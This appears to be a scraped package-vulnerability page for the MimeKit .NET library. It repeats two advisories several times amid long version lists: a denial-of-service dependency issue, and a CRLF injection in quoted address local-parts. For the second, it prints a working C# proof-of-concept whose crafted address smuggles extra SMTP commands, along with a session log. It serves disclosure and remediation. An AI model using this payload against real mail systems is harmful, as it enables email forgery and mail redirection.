

            2.9.0


            2.9.1


            2.9.2


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            3.6.1


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.13.0


            4.14.0


            4.15.0


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.8.0


            4.9.0

Fixed in


          4.15.1

References

Updated Mar 06, 2026 · Source: OSV.dev

GHSA-gmc6-fwg3-75m5 Jul 11, 2024

Mimekit has vulnerable dependency that can lead to denial of service

High

Network Low None None

Summary

Denial of service vulnerability.

Details

See: https://github.com/advisories/GHSA-447r-wph3-92pm and https://github.com/dotnet/announcements/issues/312

PoC

Update System.Security.Cryptography.Pkcs to 8.0.1 so that the transitive dependency with the issue gets updated

Impact

Denial of service vulnerability. Affects MimeKit (>= v3.0.0 and <= v4.7.0) when used to decrypt or verify incoming S/MIME messages as well as importing 3rd-party X.509 certificates for use with encrypting outgoing S/MIME messages.

Affected versions


          3.0.0


          3.1.0


          3.1.1


          3.2.0


          3.3.0


          3.4.0


          3.4.1


          3.4.2


          3.4.3


          3.5.0


          3.6.0


          3.6.1

+ 8 more


            4.0.0


            4.1.0


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0

Fixed in


          4.7.1

References

Updated Nov 29, 2024 · Source: OSV.dev

Mar 26, 2022

3.1.1 patch

2 CVEs

CVE-2026-30227 GHSA-g7hc-96xr-gvvx Mar 05, 2026

MimeKit has CRLF Injection in Quoted Local-Part that Enables SMTP Command Injection and Email Forgery

Medium

Network Low None None

Summary

A CRLF Injection vulnerability in MimeKit 4.15.0 allows an attacker to embed \r\n into the SMTP envelope address local-part (when the local-part is a quoted-string). This is non-compliant with RFC 5321 and can result in SMTP command injection (e.g., injecting additional RCPT TO / DATA / RSET commands) and/or mail header injection, depending on how the application uses MailKit/MimeKit to construct and send messages. The issue becomes exploitable when the attacker can influence a MailboxAddress (MAIL FROM / RCPT TO) value that is later serialized to an SMTP session.

RFC 5321 explicitly defines the SMTP mailbox local-part grammar and does not permit CR (13) or LF (10) inside Quoted-string (qtextSMTP and quoted-pairSMTP ranges exclude control characters). SMTP commands are terminated by <CRLF>, making CRLF injection in command arguments particularly dangerous.

Details

1) RFC 5321 local-part grammar prohibits CR/LF in quoted-string

RFC 5321 defines:

mail = "MAIL FROM:" Reverse-path [SP Mail-parameters] CRLF

Reverse-path = Path / "<>"
Path         = "<" [ A-d-l ":" ] Mailbox ">"
A-d-l        = At-domain *( "," At-domain )
At-domain    = "@" Domain

Mailbox         = Local-part "@" ( Domain / address-literal )
Local-part      = Dot-string / Quoted-string

Dot-string      = Atom *("." Atom)
Atom            = 1*atext
atext = ALPHA / DIGIT / 
        "!" / "#" / "$" / "%" / "&" / "'" / "*" / "+" / "-" / "/" / 
        "=" / "?" / "^" / "_" / "`" / "{" / "|" / "}" / "~"


Quoted-string   = DQUOTE *QcontentSMTP DQUOTE
QcontentSMTP    = qtextSMTP / quoted-pairSMTP
quoted-pairSMTP = %d92 %d32-126
qtextSMTP       = %d32-33 / %d35-91 / %d93-126

When the local part is a quoted string, the characters and are not allowed.

2) MimeKit 4.15.0 accepts CR/LF inside quoted local-part (non-compliant)

In the MimeKit 4.15.0 version, when parsing the local part, the and characters in the double-quoted form will not be detected. As a result, MailboxAddress can accept addresses like "attacker\r\nRCPT TO:<victim@target>\r\n"@example.com as a valid address.

3) Affected components / versions

MimeKit 4.15.0 (as tested)
MailKit 4.15.0 uses/depends on MimeKit 4.15.0 Any application that:
Accepts untrusted input for sender/recipient addresses, and
Constructs MailboxAddress from that input, and
Sends via SMTP (e.g., using MailKit SmtpClient), may be impacted.

PoC

Environment:

.NET SDK: 8.0.418
Target Framework: net8.0
Packages: MailKit 4.15.0 (with MimeKit 4.15.0)
Use ProtocolLogger to capture the SMTP session and confirm injection.

Create a minimal project:

mimekit_poc.csproj

<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>

  <ItemGroup>
    <PackageReference Include="MailKit" Version="4.15.0" />
  </ItemGroup>
</Project>

PoC program (replace SMTP host/port/address as needed):

using MailKit.Net.Smtp;
using MailKit.Security;
using MailKit;
using MimeKit;

// === payload and target setting ===

var smtpHost = "xx.xx.xx.xx";
var smtpPort = 25;
var useTls = false;
// attack in `MAIL FROM` cmd with address grammar in double quote 
var payloadEvilMailFromInput = "\"attack\r\nRSET\r\nMAIL FROM:<kc1zs4@poc.send.com>\r\nRCPT TO:<xxx@xxx.xxx.xxx.xxx>\r\nDATA\r\n.\r\nQUIT\r\nhere\"@poc.send.com";
// log in log/smtp_log_{yyyyMMdd_HHmmss_fff}.txt
var logDir = Path.Combine(AppContext.BaseDirectory, "log");
Directory.CreateDirectory(logDir);
var timestamp = DateTime.Now.ToString("yyyyMMdd_HHmmss_fff");
var logPath = Path.Combine(logDir, $"smtp_log_{timestamp}");


// === below smtp session ===
// mimekit api

var envelopeFrom = new MailboxAddress("", payloadEvilMailFromInput);
var envelopeRcpt = new MailboxAddress("", "\"kc1zs4\"@poc.recv.com");
var headerFrom = new MailboxAddress("Sender", "kc1zs4@poc.send.com");
var headerTo = new MailboxAddress("Recipient", "kc1zs4@poc.recv.com");

var message = new MimeMessage();
message.From.Add(headerFrom);
message.To.Add(headerTo);
message.Subject = "mimekit CRLF injection poc";
message.Body = new TextPart("plain") { Text = "Hello from MimeKit 4.15.0" };

try {
    using var protocolLogger = new ProtocolLogger(logPath);
    using var client = new SmtpClient(protocolLogger);

    var socketOption = useTls ? SecureSocketOptions.StartTls : SecureSocketOptions.None;
    client.Connect(smtpHost, smtpPort, socketOption);

    client.Send(FormatOptions.Default, message, envelopeFrom, new[] { envelopeRcpt });
    client.Disconnect(true);

    Console.WriteLine("[+] successfully send mail");
    Console.WriteLine($"[+] view smtp session log at: {logPath}");

} catch (SmtpCommandException ex) {

    Console.Error.WriteLine($"[!] smtp cmd err: {ex.StatusCode} - {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (SmtpProtocolException ex) {

    Console.Error.WriteLine($"[!] smtp protocol err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (Exception ex) {

    Console.Error.WriteLine($"[!] unknown err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;
}

Expected result

MailboxAddress accepts the injected addr-spec containing CRLF inside the quoted local-part because it relies on quoted-string skipping that does not reject CR/LF.
The generated SMTP session (captured by ProtocolLogger) shows the MAIL FROM line being split by the injected CRLF, followed by attacker-controlled SMTP commands.
tcpdump also shows the same raw SMTP stream (optional confirmation).

Example (illustrative) excerpt from smtp session log showing the CRLF injection effect:

Connected to smtp://xxx.xxx.xxx.xxx:25/
S: 220 xxx Axigen ESMTP ready
C: EHLO KC1zs4-TPt14p
S: 250-xxx Axigen ESMTP hello
S: 250-PIPELINING
S: 250-AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-AUTH=PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-8BITMIME
S: 250-SIZE 10485760
S: 250-HELP
S: 250 OK
C: MAIL FROM:<"attack
C: RSET
C: MAIL FROM:<kc1zs4@poc.send.com>
C: RCPT TO:<xxx@xxx.xxx.xxx.xxx>
C: DATA
C: .
C: QUIT
C: here"@poc.send.com> SIZE=293
C: RCPT TO:<"kc1zs4"@poc.recv.com>
S: 553 Invalid mail address
S: 250 Reset done
S: 250 Sender accepted
S: 250 Recipient accepted
S: 354 Ready to receive data; remember <CRLF>.<CRLF>
S: 250 Mail queued for delivery
S: 221-xxx Axigen ESMTP is closing connection
S: 221 Good bye
C: RSET

Notes:

Whether the server executes the injected commands depends on server-side parsing/validation and SMTP pipeline state, but the client-side behavior (emitting CRLF into SMTP command stream via MailboxAddress) is sufficient to demonstrate the vulnerability class and protocol non-compliance.
SMTP commands are terminated by <CRLF>, so CRLF-in-argument is structurally hazardous by design.

Impact

Vulnerability class:

SMTP command injection / CRLF injection via envelope address (MAIL FROM / RCPT TO).
Protocol non-compliance with RFC 5321 local-part grammar for quoted-string (CR/LF not allowed).

Who is impacted:

Any application using MimeKit/MailKit to send email over SMTP where mailbox addresses are influenced by untrusted input (e.g., user-supplied “From” address, tenant-configurable sender identity, inbound-to-outbound forwarding rules, contact imports, webhook-driven mail sending, etc.).

Potential consequences:

Add or modify SMTP recipients by injecting extra RCPT TO commands (mail redirection / data exfiltration).
Corrupt the SMTP transaction state (RSET, NOOP, etc.) or attempt early DATA injection (server-dependent).
In some environments, may enable header injection if the attacker can pivot from envelope manipulation into message content workflows (application-dependent).
Logging/auditing evasion or misleading audit trails if the SMTP transcript is altered by injected command boundaries.

Suggested remediation (high level):

Reject \r and \n in local-part (and ideally anywhere) when parsing/constructing mailbox addresses used for SMTP envelopes.
Align quoted local-part parsing with RFC 5321’s qtextSMTP and quoted-pairSMTP ranges (no control characters).

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.20.0

+ 181 more


            0.21.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.27.0


            0.28.0


            0.29.0


            0.30.0


            0.31.0


            0.32.0


            0.33.0


            0.34.0


            0.35.0


            0.36.0


            0.37.0


            0.38.0


            0.39.0


            0.40.0


            0.41.0


            0.42.0


            0.43.0


            0.43.0.1


            0.5.0


            0.6.0


            0.7.0


            0.7.1


            0.8.0


            0.9.0


            0.90.0


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.12.0


            1.14.0


            1.14.1


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.17


            1.2.17.1


            1.2.17.2


            1.2.17.3


            1.2.18


            1.2.18.1


            1.2.19


            1.2.2


            1.2.20


            1.2.20.1


            1.2.20.2


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.25


            1.2.3


            1.2.4


            1.2.5


            1.2.5.1


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.4.0


            1.4.1


            1.4.2


            1.6.0


            1.8.0


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.15.1


            2.2.0


            2.3.0


            2.3.1


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            2.9.1


            2.9.2


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            3.6.1


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.13.0


            4.14.0


            4.15.0


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.8.0


            4.9.0

Fixed in


          4.15.1

References

Updated Mar 06, 2026 · Source: OSV.dev

GHSA-gmc6-fwg3-75m5 Jul 11, 2024

Mimekit has vulnerable dependency that can lead to denial of service

High

Network Low None None

Summary

Denial of service vulnerability.

Details

See: https://github.com/advisories/GHSA-447r-wph3-92pm and https://github.com/dotnet/announcements/issues/312

PoC

Update System.Security.Cryptography.Pkcs to 8.0.1 so that the transitive dependency with the issue gets updated

Impact

Denial of service vulnerability. Affects MimeKit (>= v3.0.0 and <= v4.7.0) when used to decrypt or verify incoming S/MIME messages as well as importing 3rd-party X.509 certificates for use with encrypting outgoing S/MIME messages.

Affected versions


          3.0.0


          3.1.0


          3.1.1


          3.2.0


          3.3.0


          3.4.0


          3.4.1


          3.4.2


          3.4.3


          3.5.0


          3.6.0


          3.6.1

+ 8 more


            4.0.0


            4.1.0


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0

Fixed in


          4.7.1

References

Updated Nov 29, 2024 · Source: OSV.dev

Jan 30, 2022

3.1.0 minor

2 CVEs

CVE-2026-30227 GHSA-g7hc-96xr-gvvx Mar 05, 2026

MimeKit has CRLF Injection in Quoted Local-Part that Enables SMTP Command Injection and Email Forgery

Medium

Network Low None None

Summary

A CRLF Injection vulnerability in MimeKit 4.15.0 allows an attacker to embed \r\n into the SMTP envelope address local-part (when the local-part is a quoted-string). This is non-compliant with RFC 5321 and can result in SMTP command injection (e.g., injecting additional RCPT TO / DATA / RSET commands) and/or mail header injection, depending on how the application uses MailKit/MimeKit to construct and send messages. The issue becomes exploitable when the attacker can influence a MailboxAddress (MAIL FROM / RCPT TO) value that is later serialized to an SMTP session.

RFC 5321 explicitly defines the SMTP mailbox local-part grammar and does not permit CR (13) or LF (10) inside Quoted-string (qtextSMTP and quoted-pairSMTP ranges exclude control characters). SMTP commands are terminated by <CRLF>, making CRLF injection in command arguments particularly dangerous.

Details

1) RFC 5321 local-part grammar prohibits CR/LF in quoted-string

RFC 5321 defines:

mail = "MAIL FROM:" Reverse-path [SP Mail-parameters] CRLF

Reverse-path = Path / "<>"
Path         = "<" [ A-d-l ":" ] Mailbox ">"
A-d-l        = At-domain *( "," At-domain )
At-domain    = "@" Domain

Mailbox         = Local-part "@" ( Domain / address-literal )
Local-part      = Dot-string / Quoted-string

Dot-string      = Atom *("." Atom)
Atom            = 1*atext
atext = ALPHA / DIGIT / 
        "!" / "#" / "$" / "%" / "&" / "'" / "*" / "+" / "-" / "/" / 
        "=" / "?" / "^" / "_" / "`" / "{" / "|" / "}" / "~"


Quoted-string   = DQUOTE *QcontentSMTP DQUOTE
QcontentSMTP    = qtextSMTP / quoted-pairSMTP
quoted-pairSMTP = %d92 %d32-126
qtextSMTP       = %d32-33 / %d35-91 / %d93-126

When the local part is a quoted string, the characters and are not allowed.

2) MimeKit 4.15.0 accepts CR/LF inside quoted local-part (non-compliant)

In the MimeKit 4.15.0 version, when parsing the local part, the and characters in the double-quoted form will not be detected. As a result, MailboxAddress can accept addresses like "attacker\r\nRCPT TO:<victim@target>\r\n"@example.com as a valid address.

3) Affected components / versions

MimeKit 4.15.0 (as tested)
MailKit 4.15.0 uses/depends on MimeKit 4.15.0 Any application that:
Accepts untrusted input for sender/recipient addresses, and
Constructs MailboxAddress from that input, and
Sends via SMTP (e.g., using MailKit SmtpClient), may be impacted.

PoC

Environment:

.NET SDK: 8.0.418
Target Framework: net8.0
Packages: MailKit 4.15.0 (with MimeKit 4.15.0)
Use ProtocolLogger to capture the SMTP session and confirm injection.

Create a minimal project:

mimekit_poc.csproj

<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>

  <ItemGroup>
    <PackageReference Include="MailKit" Version="4.15.0" />
  </ItemGroup>
</Project>

PoC program (replace SMTP host/port/address as needed):

using MailKit.Net.Smtp;
using MailKit.Security;
using MailKit;
using MimeKit;

// === payload and target setting ===

var smtpHost = "xx.xx.xx.xx";
var smtpPort = 25;
var useTls = false;
// attack in `MAIL FROM` cmd with address grammar in double quote 
var payloadEvilMailFromInput = "\"attack\r\nRSET\r\nMAIL FROM:<kc1zs4@poc.send.com>\r\nRCPT TO:<xxx@xxx.xxx.xxx.xxx>\r\nDATA\r\n.\r\nQUIT\r\nhere\"@poc.send.com";
// log in log/smtp_log_{yyyyMMdd_HHmmss_fff}.txt
var logDir = Path.Combine(AppContext.BaseDirectory, "log");
Directory.CreateDirectory(logDir);
var timestamp = DateTime.Now.ToString("yyyyMMdd_HHmmss_fff");
var logPath = Path.Combine(logDir, $"smtp_log_{timestamp}");


// === below smtp session ===
// mimekit api

var envelopeFrom = new MailboxAddress("", payloadEvilMailFromInput);
var envelopeRcpt = new MailboxAddress("", "\"kc1zs4\"@poc.recv.com");
var headerFrom = new MailboxAddress("Sender", "kc1zs4@poc.send.com");
var headerTo = new MailboxAddress("Recipient", "kc1zs4@poc.recv.com");

var message = new MimeMessage();
message.From.Add(headerFrom);
message.To.Add(headerTo);
message.Subject = "mimekit CRLF injection poc";
message.Body = new TextPart("plain") { Text = "Hello from MimeKit 4.15.0" };

try {
    using var protocolLogger = new ProtocolLogger(logPath);
    using var client = new SmtpClient(protocolLogger);

    var socketOption = useTls ? SecureSocketOptions.StartTls : SecureSocketOptions.None;
    client.Connect(smtpHost, smtpPort, socketOption);

    client.Send(FormatOptions.Default, message, envelopeFrom, new[] { envelopeRcpt });
    client.Disconnect(true);

    Console.WriteLine("[+] successfully send mail");
    Console.WriteLine($"[+] view smtp session log at: {logPath}");

} catch (SmtpCommandException ex) {

    Console.Error.WriteLine($"[!] smtp cmd err: {ex.StatusCode} - {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (SmtpProtocolException ex) {

    Console.Error.WriteLine($"[!] smtp protocol err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (Exception ex) {

    Console.Error.WriteLine($"[!] unknown err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;
}

Expected result

MailboxAddress accepts the injected addr-spec containing CRLF inside the quoted local-part because it relies on quoted-string skipping that does not reject CR/LF.
The generated SMTP session (captured by ProtocolLogger) shows the MAIL FROM line being split by the injected CRLF, followed by attacker-controlled SMTP commands.
tcpdump also shows the same raw SMTP stream (optional confirmation).

Example (illustrative) excerpt from smtp session log showing the CRLF injection effect:

Connected to smtp://xxx.xxx.xxx.xxx:25/
S: 220 xxx Axigen ESMTP ready
C: EHLO KC1zs4-TPt14p
S: 250-xxx Axigen ESMTP hello
S: 250-PIPELINING
S: 250-AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-AUTH=PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-8BITMIME
S: 250-SIZE 10485760
S: 250-HELP
S: 250 OK
C: MAIL FROM:<"attack
C: RSET
C: MAIL FROM:<kc1zs4@poc.send.com>
C: RCPT TO:<xxx@xxx.xxx.xxx.xxx>
C: DATA
C: .
C: QUIT
C: here"@poc.send.com> SIZE=293
C: RCPT TO:<"kc1zs4"@poc.recv.com>
S: 553 Invalid mail address
S: 250 Reset done
S: 250 Sender accepted
S: 250 Recipient accepted
S: 354 Ready to receive data; remember <CRLF>.<CRLF>
S: 250 Mail queued for delivery
S: 221-xxx Axigen ESMTP is closing connection
S: 221 Good bye
C: RSET

Notes:

Whether the server executes the injected commands depends on server-side parsing/validation and SMTP pipeline state, but the client-side behavior (emitting CRLF into SMTP command stream via MailboxAddress) is sufficient to demonstrate the vulnerability class and protocol non-compliance.
SMTP commands are terminated by <CRLF>, so CRLF-in-argument is structurally hazardous by design.

Impact

Vulnerability class:

SMTP command injection / CRLF injection via envelope address (MAIL FROM / RCPT TO).
Protocol non-compliance with RFC 5321 local-part grammar for quoted-string (CR/LF not allowed).

Who is impacted:

Any application using MimeKit/MailKit to send email over SMTP where mailbox addresses are influenced by untrusted input (e.g., user-supplied “From” address, tenant-configurable sender identity, inbound-to-outbound forwarding rules, contact imports, webhook-driven mail sending, etc.).

Potential consequences:

Add or modify SMTP recipients by injecting extra RCPT TO commands (mail redirection / data exfiltration).
Corrupt the SMTP transaction state (RSET, NOOP, etc.) or attempt early DATA injection (server-dependent).
In some environments, may enable header injection if the attacker can pivot from envelope manipulation into message content workflows (application-dependent).
Logging/auditing evasion or misleading audit trails if the SMTP transcript is altered by injected command boundaries.

Suggested remediation (high level):

Reject \r and \n in local-part (and ideally anywhere) when parsing/constructing mailbox addresses used for SMTP envelopes.
Align quoted local-part parsing with RFC 5321’s qtextSMTP and quoted-pairSMTP ranges (no control characters).

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.20.0

+ 181 more


            0.21.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.27.0


            0.28.0


            0.29.0


            0.30.0


            0.31.0


            0.32.0


            0.33.0


            0.34.0


            0.35.0


            0.36.0


            0.37.0


            0.38.0


            0.39.0


            0.40.0


            0.41.0


            0.42.0


            0.43.0


            0.43.0.1


            0.5.0


            0.6.0


            0.7.0


            0.7.1


            0.8.0


            0.9.0


            0.90.0


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.12.0


            1.14.0


            1.14.1


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.17


            1.2.17.1


            1.2.17.2


            1.2.17.3


            1.2.18


            1.2.18.1


            1.2.19


            1.2.2


            1.2.20


            1.2.20.1


            1.2.20.2


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.25


            1.2.3


            1.2.4


            1.2.5


            1.2.5.1


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.4.0


            1.4.1


            1.4.2


            1.6.0


            1.8.0


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.15.1


            2.2.0


            2.3.0


            2.3.1


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            2.9.1


            2.9.2


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            3.6.1


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.13.0


            4.14.0


            4.15.0


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.8.0


            4.9.0

Fixed in


          4.15.1

References

Updated Mar 06, 2026 · Source: OSV.dev

GHSA-gmc6-fwg3-75m5 Jul 11, 2024

Mimekit has vulnerable dependency that can lead to denial of service

High

Network Low None None

Summary

Denial of service vulnerability.

Details

See: https://github.com/advisories/GHSA-447r-wph3-92pm and https://github.com/dotnet/announcements/issues/312

PoC

Update System.Security.Cryptography.Pkcs to 8.0.1 so that the transitive dependency with the issue gets updated

Impact

Denial of service vulnerability. Affects MimeKit (>= v3.0.0 and <= v4.7.0) when used to decrypt or verify incoming S/MIME messages as well as importing 3rd-party X.509 certificates for use with encrypting outgoing S/MIME messages.

Affected versions


          3.0.0


          3.1.0


          3.1.1


          3.2.0


          3.3.0


          3.4.0


          3.4.1


          3.4.2


          3.4.3


          3.5.0


          3.6.0


          3.6.1

+ 8 more


            4.0.0


            4.1.0


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0

Fixed in


          4.7.1

References

Updated Nov 29, 2024 · Source: OSV.dev

Jan 15, 2022

3.0.0 major

2 CVEs

CVE-2026-30227 GHSA-g7hc-96xr-gvvx Mar 05, 2026

MimeKit has CRLF Injection in Quoted Local-Part that Enables SMTP Command Injection and Email Forgery

Medium

Network Low None None

Summary

A CRLF Injection vulnerability in MimeKit 4.15.0 allows an attacker to embed \r\n into the SMTP envelope address local-part (when the local-part is a quoted-string). This is non-compliant with RFC 5321 and can result in SMTP command injection (e.g., injecting additional RCPT TO / DATA / RSET commands) and/or mail header injection, depending on how the application uses MailKit/MimeKit to construct and send messages. The issue becomes exploitable when the attacker can influence a MailboxAddress (MAIL FROM / RCPT TO) value that is later serialized to an SMTP session.

RFC 5321 explicitly defines the SMTP mailbox local-part grammar and does not permit CR (13) or LF (10) inside Quoted-string (qtextSMTP and quoted-pairSMTP ranges exclude control characters). SMTP commands are terminated by <CRLF>, making CRLF injection in command arguments particularly dangerous.

Details

1) RFC 5321 local-part grammar prohibits CR/LF in quoted-string

RFC 5321 defines:

mail = "MAIL FROM:" Reverse-path [SP Mail-parameters] CRLF

Reverse-path = Path / "<>"
Path         = "<" [ A-d-l ":" ] Mailbox ">"
A-d-l        = At-domain *( "," At-domain )
At-domain    = "@" Domain

Mailbox         = Local-part "@" ( Domain / address-literal )
Local-part      = Dot-string / Quoted-string

Dot-string      = Atom *("." Atom)
Atom            = 1*atext
atext = ALPHA / DIGIT / 
        "!" / "#" / "$" / "%" / "&" / "'" / "*" / "+" / "-" / "/" / 
        "=" / "?" / "^" / "_" / "`" / "{" / "|" / "}" / "~"


Quoted-string   = DQUOTE *QcontentSMTP DQUOTE
QcontentSMTP    = qtextSMTP / quoted-pairSMTP
quoted-pairSMTP = %d92 %d32-126
qtextSMTP       = %d32-33 / %d35-91 / %d93-126

When the local part is a quoted string, the characters and are not allowed.

2) MimeKit 4.15.0 accepts CR/LF inside quoted local-part (non-compliant)

In the MimeKit 4.15.0 version, when parsing the local part, the and characters in the double-quoted form will not be detected. As a result, MailboxAddress can accept addresses like "attacker\r\nRCPT TO:<victim@target>\r\n"@example.com as a valid address.

3) Affected components / versions

MimeKit 4.15.0 (as tested)
MailKit 4.15.0 uses/depends on MimeKit 4.15.0 Any application that:
Accepts untrusted input for sender/recipient addresses, and
Constructs MailboxAddress from that input, and
Sends via SMTP (e.g., using MailKit SmtpClient), may be impacted.

PoC

Environment:

.NET SDK: 8.0.418
Target Framework: net8.0
Packages: MailKit 4.15.0 (with MimeKit 4.15.0)
Use ProtocolLogger to capture the SMTP session and confirm injection.

Create a minimal project:

mimekit_poc.csproj

<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>

  <ItemGroup>
    <PackageReference Include="MailKit" Version="4.15.0" />
  </ItemGroup>
</Project>

PoC program (replace SMTP host/port/address as needed):

using MailKit.Net.Smtp;
using MailKit.Security;
using MailKit;
using MimeKit;

// === payload and target setting ===

var smtpHost = "xx.xx.xx.xx";
var smtpPort = 25;
var useTls = false;
// attack in `MAIL FROM` cmd with address grammar in double quote 
var payloadEvilMailFromInput = "\"attack\r\nRSET\r\nMAIL FROM:<kc1zs4@poc.send.com>\r\nRCPT TO:<xxx@xxx.xxx.xxx.xxx>\r\nDATA\r\n.\r\nQUIT\r\nhere\"@poc.send.com";
// log in log/smtp_log_{yyyyMMdd_HHmmss_fff}.txt
var logDir = Path.Combine(AppContext.BaseDirectory, "log");
Directory.CreateDirectory(logDir);
var timestamp = DateTime.Now.ToString("yyyyMMdd_HHmmss_fff");
var logPath = Path.Combine(logDir, $"smtp_log_{timestamp}");


// === below smtp session ===
// mimekit api

var envelopeFrom = new MailboxAddress("", payloadEvilMailFromInput);
var envelopeRcpt = new MailboxAddress("", "\"kc1zs4\"@poc.recv.com");
var headerFrom = new MailboxAddress("Sender", "kc1zs4@poc.send.com");
var headerTo = new MailboxAddress("Recipient", "kc1zs4@poc.recv.com");

var message = new MimeMessage();
message.From.Add(headerFrom);
message.To.Add(headerTo);
message.Subject = "mimekit CRLF injection poc";
message.Body = new TextPart("plain") { Text = "Hello from MimeKit 4.15.0" };

try {
    using var protocolLogger = new ProtocolLogger(logPath);
    using var client = new SmtpClient(protocolLogger);

    var socketOption = useTls ? SecureSocketOptions.StartTls : SecureSocketOptions.None;
    client.Connect(smtpHost, smtpPort, socketOption);

    client.Send(FormatOptions.Default, message, envelopeFrom, new[] { envelopeRcpt });
    client.Disconnect(true);

    Console.WriteLine("[+] successfully send mail");
    Console.WriteLine($"[+] view smtp session log at: {logPath}");

} catch (SmtpCommandException ex) {

    Console.Error.WriteLine($"[!] smtp cmd err: {ex.StatusCode} - {ex.Message}");
